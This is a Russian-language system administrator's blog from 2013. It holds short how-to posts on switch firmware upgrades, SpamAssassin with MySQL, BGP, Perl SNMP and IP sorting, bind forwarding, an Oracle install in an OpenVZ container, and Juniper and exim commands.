Поиск по этому блогу

среда, 25 декабря 2013 г.

Обновление прошивки ExtremeXOS

Давно не обновлял прошивки в Extreme-Networks Summit X450a, а тут пришлось вспомнить. Поэтому публикую заметку на будущую память. Смотрим текущую прошивку:
sf102z-1 # sh version 
Switch      : 800189-00-05 0832G-81174 Rev 5.0 BootROM: 1.0.3.1    IMG: 12.4.2.17 
XGM2-1      : N/A          N/A         Rev 0.0

Image   : ExtremeXOS version 12.4.2.17 v1242b17-patch1-10 by release-manager
          on Wed Jan 5 17:18:37 PST 2011
BootROM : 1.0.3.1
sf102z-1 # show switch 

SysName:          sf102z-1
SysLocation:      KIEV
SysContact:       hostmaster
System MAC:       00:04:96:35:4A:77
System Type:      X450a-24xdc

SysHealth check:  Enabled (Normal)
Recovery Mode:    All
System Watchdog:  Enabled

Current Time:     Wed Dec 25 09:23:44 2013
Timezone:         [Auto DST Enabled] GMT Offset: 120 minutes, name is EET.
                  DST of 60 minutes is currently not in effect, name is EEST.
                  DST begins every fourth Sunday March at 3:00
                  DST ends every fourth Sunday October at 3:00

Boot Time:        Wed Dec 25 09:14:28 2013
Boot Count:       276
Next Reboot:      None scheduled
System UpTime:    9 minutes 15 seconds 

Current State:    OPERATIONAL             
Image Selected:   secondary               
Image Booted:     secondary               
Primary ver:      11.6.3.5                
Secondary ver:    12.4.2.17               

Config Selected:  primary.cfg                                          
Config Booted:    primary.cfg                                          

primary.cfg       Created by ExtremeXOS version 12.4.2.17
                  157152 bytes saved on Wed Dec 25 09:20:55 2013

Видим, что коммутатор загружен из secondary профиля; что на коммутаторе первый профиль имеет прошивку 11.6.3.5, а второй 12.4.2.17.
Так как у нас на сети за рабочую принята прошивка 15.2.1.5 то нам придётся залить её. Так как текущий загруженный профиль secondary то заливать прошивку будем в primary чтобы в случае чего иметь возможность откатиться:
sf102z-1 # download image 10.10.10.10 summitX-c_15.2.1.5.xos vr "VR-Default" primary 
Debug information files are present in internal-memory.
These files will be removed if you continue with download.
Do you want to continue with download and remove existing files from internal-memory? (y/N) Yes
Do you want to install image after downloading? (y - yes, n - no,  - cancel) Yes

Downloading to Switch...  8< skip 8< ...
Installing to primary partition!

Installing to Switch... 8< skip 8< ...
Image installed successfully
This image will be used only after rebooting the switch!

Говорим о том, что собираемся использовать primary профиль и перегружаемся:
sf102z-1 # use image primary 
sf102z-1 # reboot
Are you sure you want to reboot the switch? (y/N) Yes

Заходим на коммутатор и смотрим версию прошивки:
sf102z-1 # sh version 
Switch      : 800189-00-05 0832G-81174 Rev 5.0 BootROM: 1.0.3.1    IMG: 15.2.1.5  
XGM2-1      :

Image   : ExtremeXOS version 15.2.1.5 v1521b5 by release-manager
          on Fri Aug 17 17:23:25 EDT 2012
BootROM : 1.0.3.1
sf102z-1 # sh switch 

SysName:          sf102z-1
SysLocation:      KIEV
SysContact:       hostmaster
System MAC:       00:04:96:35:4A:77
System Type:      X450a-24xdc

SysHealth check:  Enabled (Normal)
Recovery Mode:    All
System Watchdog:  Enabled

Current Time:     Wed Dec 25 09:35:27 2013
Timezone:         [Auto DST Enabled] GMT Offset: 120 minutes, name is EET.
                  DST of 60 minutes is currently not in effect, name is EEST.
                  DST begins every fourth Sunday March at 3:00
                  DST ends every fourth Sunday October at 3:00

Boot Time:        Wed Dec 25 09:32:21 2013
Boot Count:       277
Next Reboot:      None scheduled
System UpTime:    3 minutes 5 seconds 

Current State:    OPERATIONAL             
Image Selected:   primary                 
Image Booted:     primary                 
Primary ver:      15.2.1.5                
Secondary ver:    12.4.2.17   

Config Selected:  primary.cfg                                          
Config Booted:    primary.cfg                                          

primary.cfg       Created by ExtremeXOS version 12.4.2.17
                  157152 bytes saved on Wed Dec 25 09:20:55 2013

Всё как в аптеке: текущая прошивка 15.2.1.5 - идём пить кофе.

суббота, 21 декабря 2013 г.

SpamAssassin + MySQL + Roundcube

Цель это статьи пошагово описать процесс настройки SpamAssassin на работу с базой MySQL и установить плагин для Roundcube.
Преамбула такова, уже имеется настроенная связка Exim4 + SpamAssassin + MySQL + Roundcube, всё это великолепно работает. Хочется чтобы SpamAssassin научился работать с MySQL.
Приступим.
SpamAssassin установлен из репозитория, поэтому не мудрствуя лукаво переходим в /usr/share/doc/spamassassin/sql и смотрим, что тут у нас есть. А оказывается тут есть и инструкция в README и заготовки для создания таблиц.

Создадим в MySQL БД и пользователя:
mysql> create database spamassassin;
mysql> grant usage on *.* to 'spamassassin'@'localhost' identified by 'passw0rd';
mysql> grant all privileges on spamassassin.* to 'spamassassin'@'localhost';
mysql> flush privileges;
Теперь заливаем дампы таблиц из /usr/share/doc/spamassassin/sql:
mysql -uspamassassin -ppassw0rd spamassassin < /usr/share/doc/spamassassin/sql/userpref_mysql.sql
mysql -uspamassassin -ppassw0rd spamassassin < /usr/share/doc/spamassassin/sql/bayes_mysql.sql
mysql -uspamassassin -ppassw0rd spamassassin < /usr/share/doc/spamassassin/sql/awl_mysql.sql
БД и таблицы в ней созданы, теперь научи SpamAssassin как достучаться к MySQL. Создадим конфигурационный файл, скажем, /etc/spamassassin/sql.cf:
user_scores_dsn DBI:mysql:spamassassin:localhost:3306
user_scores_sql_username spamassassin
user_scores_sql_password passw0rd

auto_whitelist_factory Mail::SpamAssassin::SQLBasedAddrList

user_awl_dsn DBI:mysql:spamassassin:localhost:3306
user_awl_sql_username spamassassin
user_awl_sql_password passw0rd

bayes_store_module Mail::SpamAssassin::BayesStore::SQL
bayes_sql_dsn DBI:mysql:spamassassin:localhost:3306
bayes_sql_username spamassassin
bayes_sql_password passw0rd
В файле /etc/default/spamassassin отыскиваем опцию OPTIONS и добавляем ключ --sql-config (ну или -q, для тех кто любит краткость). Рестартуем сервис:
$ sudo service spamassassin restart
Теперь переходим в директорию Roundcube, далее в ${roundcube_dir}/plugins/sauserprefs на основании имеющегося шаблона создаём config.inc.php где указываем адреса, явки, пароли:
$rcmail_config['sauserprefs_db_dsnw'] = 'mysql://spamassassin:passw0rd@localhost/spamassassin';
Включаем плагин sauserprefs в ${roundcube_dir}/config/main.inc.php
Заходим в Roundcube, переходим в "Настройки", видим "Спам фильтр", радуемся!

Посмотреть пользовательскую конфигурацию в SQL БД можно, например, так:
mysql> select username,preference,value from userpref WHERE (username='$GLOBAL' OR username LIKE '%@mydomain.com' OR username='user@mydomain2.com') ORDER by username ASC;
Глобальные настройки можно перенести и/или переопределить в таблице userperf, для username значение "$GLOBAL":
+------------------+-------------------------+------------------------+
| username         | preference              | value                  |
+------------------+-------------------------+------------------------+
| $GLOBAL          | required_hits           | 5.00                   |
| $GLOBAL          | subject_tag             | [SPAM-_HITS_]-         |
| $GLOBAL          | score USER_IN_WHITELIST | -10                    |
| $GLOBAL          | whitelist_from          | *@whitedomain.com      |
| $GLOBAL          | score USER_IN_BLACKLIST | 10                     |
| $GLOBAL          | report_safe             | 0                      |
| $GLOBAL          | use_razor2              | 1                      |
| $GLOBAL          | use_pyzor               | 1                      |
| $GLOBAL          | use_dcc                 | 1                      |
| $GLOBAL          | skip_rbl_checks         | 1                      |
| $GLOBAL          | use_bayes               | 1                      |
| $GLOBAL          | ok_locales              | en                     |
| $GLOBAL          | ok_languages            | en                     |
| $GLOBAL          | whitelist_from          | *@nai.com              |
| $GLOBAL          | use_auto_whitelist      | 1                      |
| $GLOBAL          | rewrite_header Subject  | [SPAM-_HITS_]-         |
+------------------+-------------------------+------------------------+

пятница, 22 ноября 2013 г.

BGP: Практика использования unsuppress-map

Возникла следующая задача. На пограничном маршрутизаторе, где суммируются сети автономной сети возникла необходимость включить клиента и исключить его подсеть /30 из суммарных маршрутов, и проанонсить отдельно вовнутрь AS как отдельный маршрут.
Решение:
neighbor IBGP unsuppress-map unsupp-adv

route-map unsupp-adv permit 5
 match ip address 88

access-list 88 permit 212.xxx.xxx.xxx 0.0.0.3
В итоге сеть 212.xxx.xxx.xxx/30 нормально, отдельным маршрутом, проанонсилась во внутрь AS.

вторник, 19 ноября 2013 г.

AnyEvent::SNMP

Понадобилось опросить по SNMP одно устройство, но так как в своё время разбирался с механизмом AnyEvent в perl то захотелось и в этом случае его использовать. К счастью модуль AnyEvent::SNMP в связке с Net::SNMP даёт такую возможность.
Собственно вот небольшой пример как эту связку использовать:
use AnyEvent::SNMP;
use Net::SNMP;

...

sub snmp {
    my @hosts = ('host10', 'host11');
    my @oids = (
        '.1.3.6.1.4.1.476.1.42.3.4.1.3.3.1.3.1',        # EnvTemperatureMeasurementDegC
        '.1.3.6.1.4.1.476.1.42.3.4.3.1.0'               # EnvStateSystem
    );
    my $community = "community";

    foreach my $host (@hosts) {

        printf("HOST: %s", $host);

        my $cv = AnyEvent->condvar;

        # Set timer 50 sec.
        my $w = AnyEvent->timer (after => 50, cb => sub { $cv->send("Timeout"); });

        Net::SNMP->session( -hostname => $host, -community => $community, -version => 'snmpv2c', -nonblocking => 1 )->get_request(
            -callback => sub {
                my $snmpSess = shift;
                my %oidsret;
                if ( defined $snmpSess->var_bind_list() ) {
                    foreach my $oid (@oids) { $oidsret{$oid} = $snmpSess->var_bind_list()->{$oid}; }
                }

                undef $w;
                $cv->send (\%oidsret);
            },
            -varbindlist => \@oids
        );
        my @result = $cv->recv;


        if (defined $result[0]) {
            foreach my $oid (@oids) {
                printf(" %s", $result[0]->{$oid});
            }
        } else {
            printf(" SNMP error");
        }

        printf("\n");
    }

}
Собственно всё как всегда, для AnyEvent - обёртка, callback, результат!
Для критиков. Безусловно, что вышеприведённый пример можно "оптимизировать". Например, получая результат $cv->recv за циклом обхода хостов, а через $cv->send передавать в результат более сложную структуру, которая бы содержала и имя хоста. Затем всю эту кухню разбирать. Но пример на то и пример чтобы над такими вещами не заморачиваться.

вторник, 24 сентября 2013 г.

UIRD (Ukrainian Index of Retail Deposit Rates) - Український індекс ставок за депозитами фізичних осіб

UIRD (Ukrainian Index of Retail Deposit Rates) або Український індекс ставок за депозитами фізичних осіб – це індикативна ставка, що розраховується о 15:00 за Київським часом кожного Банківського дня в системі Thomson Reuters на основі номінальних ставок по строкових депозитах фізичних осіб у гривні на строк в 12 місяців з виплатою процентів після закінчення строку дії депозитного договору, що діють в 20 найбільших українських банках за розміром депозитного портфелю фізичних осіб.
Більш детальна інформація про Український індекс ставок за депозитами фізичних осіб  знаходиться на офіційному Інтернет-представництві – сайті Національного Банку України на вказаних нижче Інтернет-сторінках:

пятница, 9 августа 2013 г.

Преобразование IPv4-адресов в Perl

В дополнение к предыдущему, религиозно верному, решению по сортировке ip-адресов отдельно хочется отметить решение "из коробки" cpan - модуль Sort::Key::IPv4.
Установить его можно либо из репозитория дистрибутива Linux, либо непосредственно с cpan:
# cpan
cpan[1]> install Sort::Key::IPv4
CPAN: Storable loaded ok (v2.39)
Reading '/home/olden/.cpan/Metadata'
--- 8< --- skip --- 8< ---
  sudo /usr/bin/make install  -- OK

cpan[2]> exit
Возьмём наш предыдущий набор ip-адресов:
my @array = ("127.0.0.1","212.90.160.8", "10.100.175.11", "10.10.10.8", "212.90.160.33","212.90.160.40");
my %hash = ("127.0.0.1" => "1", "212.90.160.8" => "0", "10.100.175.11" => "1", "10.10.10.8" => "1", "212.90.160.33" => "0", "212.90.160.40" => [ "1", "2" ] );
И отсортируем его используя функционал модуля Sort::Key::IPv4
foreach my $ip ( ipv4sort @array ) {
    printf("%s\n", $ip);
}
и, соответственно, для ключей хеша:
foreach my $ip ( ipv4sort keys %hash ) {
    printf("%s => %s\n", $ip, $hash{$ip});
}

вторник, 6 августа 2013 г.

Преобразование IPv4-адресов в Perl

К примеру, имеем такие массив и хеш:
my @array = ("127.0.0.1","212.90.160.8", "10.100.175.11", "10.10.10.8", "212.90.160.33","212.90.160.40");
my %hash = ("127.0.0.1" => "1", "212.90.160.8" => "0", "10.100.175.11" => "1", "10.10.10.8" => "1", "212.90.160.33" => "0", "212.90.160.40" => [ "1", "2" ] );
Хотим:
  • научиться быстренько преобразовывать каждый ip-адрес либо в числовой вид, либо просто в набор из четырёх байт;
  • хотим быстро, без лишних накладных расходов, вывести отсортированные значения ip-адресов из массива;
  • также хотим быстро, без лишних накладных расходов, вывести отсортированные значения ip-адресов, которые являются ключами хеша.
Преобразования из ip-адреса в число, из ip-адреса в набор символов и обратно можно осуществить, например, следующим образом:
map { 
    # Преобразовать ip-адрес в число
    my $n = unpack("N",pack("C4",split /\./));

    # Преобразовать число в ip-адрес
    print join(".",unpack("C4",pack("N",$n))),"\n";

    # Преобразовать ip-адрес в набор символов
    my $c = pack("C4",split /\./);

    # Преобразовать набор символов в ip-адрес
    print join(".",unpack("C4", $c)),"\n";
} @array;

Для того чтобы вывести отсортированный массив ip-адресов очевидным, однако не самым эффективным, является следующее решение:
foreach my $ip ( sort {
    my @a = split /\./, $a; my @b = split /\./, $b;
    return $a[0] <=> $b[0] || $a[1] <=> $b[1] || $a[2] <=> $b[2] || $a[3] <=> $b[3];
    } @array ) {
    printf("%s\n", $ip);
}
Используем другое, более элегантное решение, выведем отсортированный массив ip-адресов, при используя преобразование GRT (Guttman-Rosler Transform) для того чтобы избежать вызова пользовательской функции в sort. Подробнее об этом можно прочитать в Pragmatic Perl — Выпуск 4. Июнь 2013 в статье "Сортировка в Perl".
foreach my $ip ( map { join(".",unpack("C4")) } sort map { pack("C4",split /\./) } @array ) {
    printf("%s\n", $ip);
}

Для того чтобы отсортировать по ключу хеша слегка преобразуем предыдущий цикл:
foreach my $ip ( map { join(".",unpack("C4")) } sort map { pack("C4",split /\./) } keys %hash ) {
    printf("%s => %s\n", $ip, $hash{$ip});
}


среда, 26 июня 2013 г.

bind: перенаправление кеширующих запросов

Предыстория такова. Был задано вопрос: как в кэширующем dns-сервере запросы определённым зонам отправлять на определённые dns-сервера?

Всем известна глобальная опция forwarders в секции options конфигурации bind. В ней задаётся безусловное перенаправление всех запросов к нашему серверу на другие dns-сервера. Однако задача ставилась таким образом, что, например, к домену domain.com необходимо перенаправить запрос к серверу отличному от описанного в глобальной опции forwarders секции options.

Слёту, что я смог придумать, в ответ на этот вопрос, это прописать для указанного домена slave зону, например так:
zone "domain.com" {
    type slave;
    file "/var/cache/bind/domain.com";
    masters {
      1.2.3.4;
      5.6.7.8;
    };
};
В принципе этот вариант работает, но как оказалось существует более элегантное решение, в котором не нужно "засорять" файловую систему "лишними" зонами доменов:
zone "domain.com" {
    type forward;
    forwarders {
      1.2.3.4;
      5.6.7.8;
    };
};
Надо признать, что второе решение, в свете оригинального вопроса, религиозно более верное.

ps: Справедливости ради так-же надо отметить, что решение было найдено самим вопрошающим, и как обычно это был pilson.

среда, 12 июня 2013 г.

(java.sql.SQLException) Value '0000-00-00 00:00:00' can not be represented as java.sql.Timestamp

Долго бился головой об стену, уже даже начал придумывать всяческие хитрые mysql-ные view-вы чтобы обмануть Java в проекте JDeveloper-а... Суть проблемы заключалась в том, что исторически сложилось так, что несущественные значения timestamp в mysql-базе заполнялись значениями '0000-00-00 00:00:00', а в Java они не преобразовывались нормально в значение timestamp и выбивали исключение.
Решение было найдено следующее. Во-первых, connection был преобразован в jdbc url, а во-вторых к нему был добавлен параметр zeroDateTimeBehavior установленный в значение convertToNull. О всех возможных значениях можно почитать на соответствующей странице руководства MySQL: Driver/Datasource Class Names, URL Syntax and Configuration Properties for Connector/J, а об использовании ADF Business Components совместно с MySQL тут "How To Use ADF Business Components with MySQL".
В итоге jdbc url стал выглядеть примерно так:
jdbc:mysql://hostname/database?ultraDevHack=true&capitalizeTypeNames=true&pedantic=true&zeroDateTimeBehavior=convertToNull&sqlmode=oracle


вторник, 11 июня 2013 г.

Фрагментация файловой системы

Вот, возник тут "кухонный вопрос": "Как глянуть % фрагментации файловой системы ext4 в Linux?".
Был найден следующий ответ, посмотреть для всех подмонтированных ext4:
for D in $( mount | awk '$5~/ext4/ { print $1 }' ); do sudo fsck.ext4 -nvf ${D}; done
Вот non-contiguous это и есть % фрагментации.

Для конкретного файла фрагментацию можно посмотреть так:
$ filefrag -v public_html/linux/iso/KNOPPIX_V7.0.3CD-2012-06-25-EN.iso 
Filesystem type is: 9123683e
File size of public_html/linux/iso/KNOPPIX_V7.0.3CD-2012-06-25-EN.iso is 726409216 (177346 blocks, blocksize 4096)
 ext logical physical expected length flags
   0       0  7485916           48094 
   1   48094  7603311  7534010  35134 
   2   83228 12453920  7638445  30774 
   3  114002 19315090 12484694  47884 
   4  161886 19577207 19362974  15460 eof
public_html/linux/iso/KNOPPIX_V7.0.3CD-2012-06-25-EN.iso: 5 extents found

понедельник, 27 мая 2013 г.

Законы Мёрфи для IT

Закон 1. Автоматизация бизнес-процессов не приводит к росту производительности — она приводит к большему количеству свободного времени у менеджеров/клерков исполнительного звена.

Следствие 1 закона. Большое количество свободного времени менеджеров оборачивается бóльшим количеством заявок на обслуживание и изобретательностью в перекладывании своей работы на других, в том числе сисадминов.

Дополнение к 1 закону. Любое время, потраченное на оптимизацию, в геометрической прогрессии увеличивает нагрузку на IT-отдел.

Вывод из 1 закона. Автоматизировать бизнес-процесс надо тогда и только тогда, когда это уже назрело и этого требует руководство. После внедрения обязательно потребовать премию.



Закон 2. Каждый менеджер/клерк стремиться сделать свою среду работы максимально удобной для себя в максимальный ущерб компании.

Дополнение к 2 закону. Уникальность бизнес-процессов компании — миф. Желание менеджера/клерка адаптировать интерфейс программ под свои нужды — это их нежелание осваивать работу со стандартной конфигурацией и программными средствами.

Следствие из 2 закона. Любое желание менеджера/клерка оптимизировать работу несёт вред.



Закон 3 (закон Парето для IT). 20% времени должно уделяться резервированию и документированию. Это лучше, чем 80% времени тратить на решение аварийных ситуаций.

Дополнение к 3 закону. 20% времени дают 80% результата по оптимизации и улучшению информационной системы. 80% времени и усилий пропадают зря.



Закон 4. IQ пользователя — величина отрицательная. Примите это как данность и делайте всё исходя из этой аксиомы — это сэкономит вам время и нервы.

Следствие из 4 закона. Пользователь всегда заблуждается. Любая информация, полученная от пользователя, должна быть проверена. Простейшая информация должна быть проверена вдвойне. Сложную информацию у пользователя лучше не узнавать вообще.



Закон 5. Глючит всё. Всё, что не может глючить, всё равно заглючит от сопряжённых с ним элементов. Если что-то не глючит — значит, оно скоро сгорит.

Дополнение к 5 закону. Ошибки, которые могут случиться, случаются. Те, которых быть не может в принципе, случаются несколько реже.



Закон 6. Все сроки, назначаемые IT-специалистами, срываются.

Дополнение к 6 закону. Если вы удвоили сроки — добавьте ещё 10–20% на дедлайн.



Закон 7. Любая система хаотична. Степень хаоса системы прямо пропорциональна времени её эксплуатации.



Закон 8. Ни один программный продукт или платформа не готовы к использованию при первом релизе.

Следствие из 8 закона. Любой продукт можно внедрять только после 1–2 полноценных пакетов исправлений.

воскресенье, 26 мая 2013 г.

Установка Oracle в proxmox используя openvz-контейнер CentOS

Заходим в web-интерфейс управления proxmox и создаём на основе шаблока openvz-контейнер. В качестве шаблона я взял centos-6-standard_6.3-1_i386.tar.gz.
Например был создан контейнер с id 105.
"Протюнингуем" этот контейнер:
vzctl set 105 --kmemsize unlimited --save
vzctl set 105 --lockedpages unlimited --save
vzctl set 105 --privvmpages unlimited --save
vzctl set 105 --shmpages unlimited --save
vzctl set 105 --numproc unlimited --save
vzctl set 105 --numtcpsock unlimited --save
vzctl set 105 --numflock unlimited --save
vzctl set 105 --numpty unlimited --save
vzctl set 105 --numsiginfo unlimited --save
vzctl set 105 --tcpsndbuf unlimited --save
vzctl set 105 --tcprcvbuf unlimited --save
vzctl set 105 --othersockbuf unlimited --save
vzctl set 105 --dgramrcvbuf unlimited --save
vzctl set 105 --numothersock unlimited --save
vzctl set 105 --dcachesize unlimited --save
vzctl set 105 --numfile unlimited --save
vzctl set 105 --numiptent unlimited --save
эти же действия можно проделать соответствующим образом отредактировав конфигурационный файл контейнера /etc/pve/openvz/105.conf. Теперь можно запустить контейнер. В контейнере установим пакеты, которые нам могут потребоваться по зависимостям:
yum install binutils compat-db gcc gcc-c++ glibc glibc-common libstdc++ libstdc++-devel gnome-media-libs gnome-utils-libs make ksh sysstat libaio gnome-screensaver openmotif22 xorg-x11-twm xorg-x11-xinit xorg-x11-xauth usbutils urw-fonts shared-mime-info perl-libwww-perl perl-XML-Parser perl-URI perl-HTML-Tagset perl-HTML-Parser patch lvm2 intltool libIDL libart_lgpl libbonobo xterm libcap libcroco libgnomecanvas libexif libgnomecups libgnomeprint22 libsoup libwnck libxklavier unixODBC unixODBC-devel libaio-devel elfutils-libelf-devel compat-libstdc++-33 -y
Так-же может возникнуть необходимость установить rpm-пакет pdksh версии 5.2.14, но так как в репозитории установленного контейнера его нет то придётся его скачать из "сторонних" источников:
wget ftp://ftp.sunet.se/pub/Linux/distributions/redhat/redhat-archive/redhat/linux/6.1/en/os/i386/RedHat/RPMS/pdksh-5.2.14-1.i386.rpm
rpm -i pdksh-5.2.14-1.i386.rpm
Проверяем:
rpm -q pdksh
Добавляем группы и пользователей:
groupadd oinstall
groupadd dba
useradd -m -g oinstall -G dba oracle
usermod -s/bin/bash oracle
passwd oracle
Проверяем:
id oracle
uid=1000(oracle) gid=1000(oinstall) groups=1000(oinstall),1001(dba)
Добавляем необходимые лимиты в /etc/security/limits.conf:
oracle  soft nproc  2047
oracle  hard nproc  16384
oracle  soft nofile  1024
oracle  hard nofile  65536
Создаём директории для нашего Oracle:
mkdir /home/oracle/11gR2_db
mkdir -p /u01/app/oracle/product/11.2.0/db_1
mkdir /u01/app/oracle/oradata
mkdir /u01/app/oraInventory
chown -R oracle:oinstall /u01/app/oracle /home/oracle/11gR2_db
chown -R oracle:oinstall /u01/app/oraInventory
chmod -R 775 /u01/app/oracle /home/oracle/11gR2_db /u01/app/oraInventory
 И, если не будет установлен libstdc++.so.5, можно создать символическую ссылку:
ls -l /usr/lib/libstdc++.so.5 || \
ln -s /usr/lib/libstdc++.so.6.0.13 /usr/lib/libstdc++.so.5
Отредактируем /etc/sysctl.conf на предмет следующих значений:
kernel.shmall = 2097152
kernel.shmmax = 536870912
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
fs.file-max = 6815744
net.ipv4.ip_local_port_range = 9000 65500
net.core.rmem_default=4194304
net.core.wmem_default=1048576
net.core.rmem_max=4194304
net.core.wmem_max=1048576
fs.aio-max-nr=1048576
и применим изменения:
sysctl -p
Вполне вероятно, что некоторые значения fs.file-max, net.ipv4.ip_local_port_range, net.core.rmem_default, net.core.wmem_default, net.core.rmem_max, net.core.wmem_max и fs.aio-max-nr придётся установить не в контейнере, а на самом хосте управления. Будьте готовы к этому. Если вы не являетесь администратором хоста управления то помните, что "админ шоколадки не пьёт!".
На данным момент времени мы потратили достаточно усилий и проделали работу результаты которой не хотелось бы потерять если дальше что-то пойдёт не так. Поэтому останавливаем контейнер, создаём резервную копию и запускаем его снова чтобы двигаться дальше.
Скачиваем архивы с Oracle (в моём случае это linux_11gR2_database_1of2.zip и linux_11gR2_database_2of2.zip) и распаковываем их, подготавливаем окружение к последующей установке. Производим нижеследующие действия из под пользователя oracle:
cd ~oracle/11gR2_db
unzip linux_11gR2_database_1of2.zip
unzip linux_11gR2_database_2of2.zip
cd ~oracle/11gR2_db/database
export ORACLE_BASE=/u01/app/oracle
export ORACLE_HOME=/u01/app/oracle/product/11.2.0/db_1/
export ORACLE_SID=ORA11G
 Если не установлена переменная окружения DISPLAY то попробуем сделать это самостоятельно:
export DISPLAY=localhost:0.0
"Кстати, о птичках". Наткнулся на "удивительный" баг когда при выставленном в sshd_config значении X11Forwarding yes, этот самый x11-форвардинг не работал.
Наткнулся на следующее "решение": в /etc/security/pam_env.conf определяем следующие строки:

REMOTEHOST      DEFAULT=localhost OVERRIDE=@{PAM_RHOST}
DISPLAY         DEFAULT=${REMOTEHOST}:0.0 OVERRIDE=${DISPLAY}
XAUTHORITY      DEFAULT= OVERRIDE=@{XAUTHORITY}
Но в моём случае это не помогло. Но зато помогла установка AddressFamily в значение inet в файле /etc/ssh/sshd_config. Пишут, что это известный баг. Вот только отчего-то очень не очевидный и мало кто приподнимает завесу тайны. Лично у меня ушел целый день на то чтобы совершенно случайно наткнутся на это решение и ву-а-ля X11Forwarding мгновенно заработал. 
И ещё, так как успешно-неудачных попыток при написании этого мануала было чуть менее чем более (и никто не сможет утверждать, что у него будет не так-же) то файлики с инсталяцией Oracle я предварительно скачал в /var/lib/vz, а затем, так как контейнеры находятся на том же разделе файловой системы, в момент когда это было необходимо, перед распаковкой, просто создавал жёсткие ссылки:

cd /var/lib/vz/private/105/home/oracle/11gR2_db
ln /var/lib/vz/linux_11gR2_database_1of2.zip linux_11gR2_database_1of2.zip
ln /var/lib/vz/linux_11gR2_database_2of2.zip linux_11gR2_database_2of2.zip
Достаточно быстро и достаточно удобно.
Ну так вот, теперь мы перед финишной прямой. Хорошей идеей будет создание очередной резервной копии.
Запускаем установку:
./runInstaller -ignoreSysPrereqs
После успешного окончания установки заходим root-ом и выполним следующие скрипты:
/u01/app/oraInventory/orainstRoot.sh
/u01/app/oracle/product/11.2.0/db_1/root.sh
Для успешного выполнения скрипта root.sh мне пришлось немного подредактировать 84-ю строку, заменив
$ECHO 6553600 > $FSMAXFILE
на
$ECHO 6553600
Добавляем в .bashrc учётной записи oracle следующие строки:
export ORACLE_BASE=/u01/app/oracle
export ORACLE_HOME=/u01/app/oracle/product/11.2.0/db_1
export LD_LIBRARY_PATH=$ORACLE_HOME/lib:$LD_LIBRARY_PATH
export PATH=$ORACLE_HOME/bin:$PATH
export ORACLE_HOSTNAME=localhost
export ORACLE_UNQNAME=oracle
export ORACLE_SID=oracle
ORACLE_HOSTNAME и ORACLE_UNQNAME можно определить из имени OC4J_DBConsole_*:
ls -l $ORACLE_HOME/oc4j/j2ee| grep OC4J_DBConsole
drwxr-x---  6 oracle oinstall 4096 Май 26 12:36 OC4J_DBConsole

drwxr-x--- 10 oracle oinstall 4096 Май 26 12:49 OC4J_DBConsole_localhost_oracle
В файле /etc/oratab будут содержаться ссылки на базы, а также указания какие из них должны запускаться автоматически:
oracle:/u01/app/oracle/product/11.2.0/db_1:Y
Любители sqlplus могут попробовать выполнить следующую команду:
sqlplus / as sysdba
Всё это хорошо, но к сожалению установщик Oracle совсем забыл о том, что мы не просто хотим установить Oracle, но ещё и использовать его после каждой перезагрузки контейнера, а для этого нам нужен какой-никакой стартовый скрипт. Вот его нам придётся создать вручную, /etc/init.d/dbora:
#!/bin/sh -e

# chkconfig: 345 90 10
# description: Oracle 11G custom start/stop script

. /etc/rc.d/init.d/functions

LOCKFILE=/var/lock/subsys/oracle
DAEMON=oracle
ORACLE_HOME=/u01/app/oracle/product/11.2.0/db_1
ORACLE_OWNER=oracle

restart() {
    stop
    start
}

case $1 in
    'start')
        if [ -f $LOCKFILE ]; then
            echo $0 already running.
            exit 1
        fi
        su - ${ORACLE_OWNER} -c "${ORACLE_HOME}/bin/lsnrctl start"
        su - ${ORACLE_OWNER} -c "${ORACLE_HOME}/bin/dbstart $ORACLE_HOME"
        su - ${ORACLE_OWNER} -c "${ORACLE_HOME}/bin/emctl start dbconsole"
        #su - ${ORACLE_OWNER} -c "${ORACLE_HOME}/bin/isqlplusctl start"
        touch $LOCKFILE
    ;;
    'stop')
        if [ ! -f $LOCKFILE ]; then
            echo $0 already stopping.
            exit 1
        fi
        su - ${ORACLE_OWNER} -c "${ORACLE_HOME}/bin/lsnrctl stop"
        su - ${ORACLE_OWNER} -c "${ORACLE_HOME}/bin/dbshut"
        su - ${ORACLE_OWNER} -c "${ORACLE_HOME}/bin/emctl stop dbconsole"
        #su - ${ORACLE_OWNER} -c "${ORACLE_HOME}/bin/isqlplusctl stop"
        rm -f $LOCKFILE
    ;;
    restart)
        restart
    ;;
    *)
        echo "Usage: $0 {start|stop}"
        exit
    ;;
esac

exit $?
Далее:
chmod +x /etc/init.d/dbora
chkconfig --add dbora
chkconfig dbora on
reboot-им контейнер!
Теперь зайти в Oracle Enterprise Manager можно по ссылке https://oraclecontainerhost:1158/em, пользователь SYS, пароль тот, что вводился при установке, входить как SYSDBA.

Продолжение возможно будет следовать... ;)

вторник, 21 мая 2013 г.

exim - проверка работоспособности

Проверяем какой маршрутизатор и доставщик будет использоваться:
exim -bt user_at_domain
Отправляем тестовое письмо:
exim -v -odf olden@isalon.kiev.ua
LOG: MAIN
  cwd=/home/user 4 args: exim -v -odf user_at_domain
test
.
LOG: MAIN
  <= user_at_domain U=user P=local S=325
LOG: MAIN
  cwd=/var/spool/exim4 5 args: /usr/sbin/exim4 -v -odi -Mc 1UeNoa-0002CX-ER
delivering 1UeNoa-0002CX-ER
LOG: MAIN
  => user  F= R=mysqluser T=mysql_delivery S=442
LOG: MAIN
  Completed
.

понедельник, 20 мая 2013 г.

Juniper - rollback compare и другие "дежурные" команды

Собственно эта статья и не статья, а так, заметка, памятка, с "дежурными" командочками, которые когда нужны то отчего-то постоянно вылетают из головы.

Сравнить две конфигурации, например текущую и предыдущую, можно так:
> show system rollback compare 1 0
JunOS хранить 50 последних "закоммиченых" конфигураций, включая текущую. Так что если сказать show system rollback compare 49 0 то можно получить очень большой diff ;)

Список доступных сохранённых конфигураций (коммитов) можно посмотреть так:
> show system commit

Посмотреть на каком маршрутизаторе в сети живёт тот или иной адрес, если в сети используется ibgp, можно так:
> show route table inet.0 1.2.3.4 extensive | match orig
При этом Originator ID: это и будет ip-адрес того маршрутизатора, который проанонсил сеть включающую искомый адрес.

Посмотреть текущую загрузку порта маршрутизатора, практически в реальном времени, можно так:
> monitor interface ge-1/0/0.3785
А обмен между портом маршрутизатора и портом клиента так:
> monitor traffic interface ge-1/0/0.3785
Однако следует заметить, что так можно посмотреть только локальный трафик. Трафик идущий транзитно таким образом не отслеживается.

вторник, 14 мая 2013 г.

Внимание! В ядрах Linux от 2.6.37 до 3.x.x (3.8.10) выявлена уязвимость дающая root-доступ.

